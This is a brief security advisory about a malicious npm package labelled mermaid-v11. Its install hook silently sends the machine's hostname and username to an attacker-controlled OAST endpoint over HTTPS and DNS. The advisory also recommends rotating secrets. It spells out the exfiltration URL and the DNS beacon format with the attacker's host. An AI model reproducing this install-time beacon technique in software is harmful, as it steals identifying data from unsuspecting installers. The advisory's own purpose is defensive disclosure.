On `npm install`, package.json line 6 runs `node -e` that reads `require('os').hostname()` and the OS username and beacons them out-of-band to an attacker-controlled Interactsh endpoint via two channels: an HTTPS GET to `https://d8l0dj5t5p5il86s3d3gepriqucsnn1nd.oast.me/?h=<hostname>&u=<username>&pkg=mermaid-v11`, and a DNS lookup of `mermaid-v11.<hostname>.d8l0dj5t5p5il86s3d3gepriqucsnn1nd.oast.me` to leak the hostname through the resolver chain. The behavior fires automatically on default install with no user interaction, harvesting installer host identifiers for an attacker-controlled OAST listener.

All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
